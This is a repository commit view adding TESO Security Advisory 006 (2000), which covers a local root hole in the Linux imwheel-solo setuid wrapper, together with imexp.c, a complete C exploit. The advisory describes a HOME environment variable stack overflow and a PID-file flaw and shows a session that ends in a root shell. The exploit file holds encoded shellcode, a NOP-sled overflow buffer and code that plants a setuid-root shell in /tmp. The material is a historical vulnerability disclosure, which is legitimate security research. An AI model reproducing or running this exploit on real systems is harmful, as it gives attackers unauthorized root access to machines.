summaryrefslogtreecommitdiff
path: root/advisories/teso-advisory-006
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /advisories/teso-advisory-006
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'advisories/teso-advisory-006')
-rw-r--r--advisories/teso-advisory-006/advisory-006.txt157
-rw-r--r--advisories/teso-advisory-006/imexp.c94
2 files changed, 251 insertions, 0 deletions
diff --git a/advisories/teso-advisory-006/advisory-006.txt b/advisories/teso-advisory-006/advisory-006.txt
new file mode 100644
index 0000000..57dfae2
--- /dev/null
+++ b/advisories/teso-advisory-006/advisory-006.txt
@@ -0,0 +1,157 @@
1-----BEGIN PGP SIGNED MESSAGE-----
2Hash: SHA1
3
4- ------
5
6TESO Security Advisory
72000/03/13
8
9imwheel local root compromise
10
11
12Summary
13===================
14
15 A vulnerability within the imwheel application for Linux has been
16 discovered. Some of these packages are shipped with an suid-root
17 wrapper-script that invokes the insecure program 'imwheel' with UID 0.
18
19
20Systems Affected
21===================
22
23 Any system which has imwheel-solo wrapper-script installed as set-UID root.
24
25 Among the vulnerable distributions (if the package is installed) are the
26 following systems:
27
28 Halloween Linux Version 4 - imwheel package from the
29 powertools/contrib. CD
30
31
32Tests
33===================
34
35 [stealth@liane stealth]$ id
36 uid=500(stealth) gid=500(stealth) groups=500(stealth)
37 [stealth@liane stealth]$ cd imhack/
38 [stealth@liane imhack]$ stat `which imwheel-solo`
39 File: "/usr/X11R6/bin/imwheel-solo"
40 Size: 795 Filetype: Regular File
41 Mode: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
42 Device: 3,1 Inode: 214472 Links: 1
43 Access: Mon Mar 13 17:32:22 2000(00000.00:04:38)
44 Modify: Mon Nov 1 23:41:15 1999(00132.17:55:45)
45 Change: Sun Mar 12 17:49:43 2000(00000.23:47:17)
46 [stealth@liane imhack]$ cc imexp.c
47 [stealth@liane imhack]$ ./a.out
48 Creating boom-shell...
49 Creating shellcode...
50 You can also add an offset to the commandline.
51 Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer
52 Respect other users privacy!
53 Invoking vulnerable program (imwheel-solo)...
54 imwheel is not running as a daemon.
55 imwheel is not checking/writing a pid file, BE CAREFUL!
56 An imwheel may be running already, two or more imwheel processes
57 on the same X display, or using gpm -W, will not operate as expected!
58 imwheel started (pid=1385)
59 Knocking on heavens door...
60 sh-2.03# id
61 uid=0(root) gid=500(stealth) groups=500(stealth)
62 sh-2.03#
63
64
65Impact
66===================
67
68 An attacker may gain local root-access to a system where vulnerable imwheel
69 package is installed. Even if it should not be possible for him to get a
70 root-shell (f.e. due to a non-exec stack-patch) he can use the suid-root
71 perlscript to kill arbitrary processes.
72
73
74Explanation
75===================
76
77 The suid-root perlscript 'imwheel-solo' invokes the 'imwheel' program with
78 EUID 0.
79 Due to inaccurate bounds-checking an internal stack-located buffer can
80 be overflowed by an attacker. The 'imwheel' program doesn't bounds-check
81 the string it gets from the HOME environment variable.
82 Further the wrapper-script which runs privileged can be fooled into sending
83 a SIGTERM signal to arbitrary processes, causing them to die.
84 This problem appears because imwheel-solo blindly trusts any PID given by a
85 world-writable pid-file.
86
87
88Solution
89===================
90
91 The author and the distributor has been informed before.
92 A patch is not yet available. Just remove the suid wrapper-script.
93
94
95Acknowledgments
96================
97
98 The bug-discovery and the demonstration programs are due to S. Krahmer [1].
99 The shell-code is due to Stealth.
100
101 This advisory has been written by S. Krahmer.
102
103
104Contact Information
105===================
106
107 The TESO crew can be reached by mailing to teso@coredump.cx.
108 Our web page is at https://teso.scene.at/
109
110 C-Skills developers may be reached through [1].
111
112
113References
114===================
115
116 [1] S. Krahmer, C-Skills
117 http://www.cs.uni-potsdam.de/homepages/students/linuxer/
118
119 [2] TESO
120 http://teso.scene.at or https://teso.scene.at/
121
122
123Disclaimer
124===================
125
126 This advisory does not claim to be complete or to be usable for any
127 purpose. Especially information on the vulnerable systems may be
128 inaccurate or wrong. The supplied exploit is not to be used for malicious
129 purposes, but for educational purposes only.
130
131 This advisory is free for open distribution in unmodified form.
132 Articles that are based on information from this advisory should include
133 link [1] and [2].
134
135
136Exploit
137===================
138
139 We've created a working demonstration program to exploit the vulnerability.
140
141 The exploit is available from
142
143 http://teso.scene.at/ or https://teso.scene.at/
144
145 and
146
147 http://www.cs.uni-potsdam.de/homepages/students/linuxer
148
149- ------
150-----BEGIN PGP SIGNATURE-----
151Version: GnuPG v1.0.0 (GNU/Linux)
152Comment: For info see http://www.gnupg.org
153
154iD8DBQE4zpugcZZ+BjKdwjcRAjFrAJ94U2wicQsueZ7SdbelfcxHatqyDACfUTT8
155bRCC41Ikx6h0NQZZx1JoT60=
156=/R6+
157-----END PGP SIGNATURE-----
diff --git a/advisories/teso-advisory-006/imexp.c b/advisories/teso-advisory-006/imexp.c
new file mode 100644
index 0000000..28fc69b
--- /dev/null
+++ b/advisories/teso-advisory-006/imexp.c
@@ -0,0 +1,94 @@
1/*** Halloween 4 local root exploit for imwheel-solo. Other distros are
2 *** maybe affected as well.
3 *** (C) 2000 by C-skills development. Under the GPL.
4 ***
5 *** Bugdiscovery + exploit by S. Krahmer & Stealth.
6 ***
7 *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
8 ***
9 *** other advisories and kewl stuff at:
10 *** http://www.cs.uni-potsdam.de/homepages/students/linuxer
11 ***
12 ***/
13#include <stdio.h>
14#include <stdlib.h>
15#include <sys/stat.h>
16#include <unistd.h>
17#include <errno.h>
18
19
20
21/* chown("/tmp/boomsh", 0, 0); chmod("/tmp/boomsh", 04755);
22 */
23char shell[] =
24"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x58\x80\x36\x01\x46\xe2\xfa"
25"\xea\x0d\x2e\x75\x6c\x71\x2e\x63\x6e\x6e\x6c\x72\x69\x01\x80\xed"
26"\x66\x2a\x01\x01\x54\x88\xe4\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xab\x11"
27"\x01\x01\x30\xc8\x8c\xb2\x3b\xee\xfe\xfe\xb9\xb7\x01\x01\x01\x88\xcb\x52\x88"
28"\xf2\xcc\x81\xb8\xec\x08\x01\x01\xb9\x0e\x01\x01\x01\x52\x88\xf2\xcc\x81\x30"
29"\xc1\x5a\x5f\x88\xed\x5c\xc2\x91\x91\x91\x91\x91\x91\x91\x91";
30
31
32/* filename-buffer plus ret + ebp
33 */
34#define buflen (2048+8)
35
36int main(int argc, char **argv)
37{
38 char *im[] = {
39 "/usr/X11R6/bin/imwheel-solo",
40 0
41 };
42 char *a[] = {
43 "/tmp/boomsh",
44 0
45 };
46 FILE *f;
47 struct stat s;
48 char boom[buflen+10];
49 int i = 0, j = 0, ret = 0xbfffee68; /* this address works for me */
50
51 if ((f = fopen("/tmp/boomsh.c", "w+")) == NULL) {
52 perror("fopen");
53 exit(errno);
54 }
55 printf("Creating boom-shell...\n");
56 fprintf(f, "int main() {char *a[]={\"/bin/sh\",0};\nsetuid(0);\nexecve(*a, a, 0);\nreturn 0;}\n");
57 fclose(f);
58 system("cc /tmp/boomsh.c -o /tmp/boomsh");
59
60 printf("Creating shellcode...\n");
61 memset(boom, 0, sizeof(boom));
62 memset(boom, 0x90, buflen);
63 if (argc > 1)
64 ret += atoi(argv[1]);
65 else
66 printf("You can also add an offset to the commandline.\n");
67 for (i = buflen-strlen(shell)-4; i < buflen-4; i++)
68 boom[i] = shell[j++];
69 *(long*)(&boom[i]) = ret;
70
71 printf("Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer\n"
72 "Respect other users privacy!\n");
73
74 setenv("HOME", boom, 1);
75 setenv("DISPLAY", ":0", 1);
76
77 printf("Invoking vulnerable program (imwheel-solo)...\n");
78 if (fork() == 0) {
79 execl(im[0], im[0], im[1], im[2], 0);
80 }
81 sleep(4);
82
83 memset(&s, 0, sizeof(s));
84 stat("/tmp/boomsh", &s);
85 if ((S_ISUID & s.st_mode) != S_ISUID) {
86 printf("Boom-shell not SUD-root! Wrong offset or patched version of imwheel.\n");
87 return -1;
88 }
89 /* Huh? :-)
90 */
91 printf("Knocking on heavens door...\n");
92 execve(a[0], a, 0);
93 return 0;
94}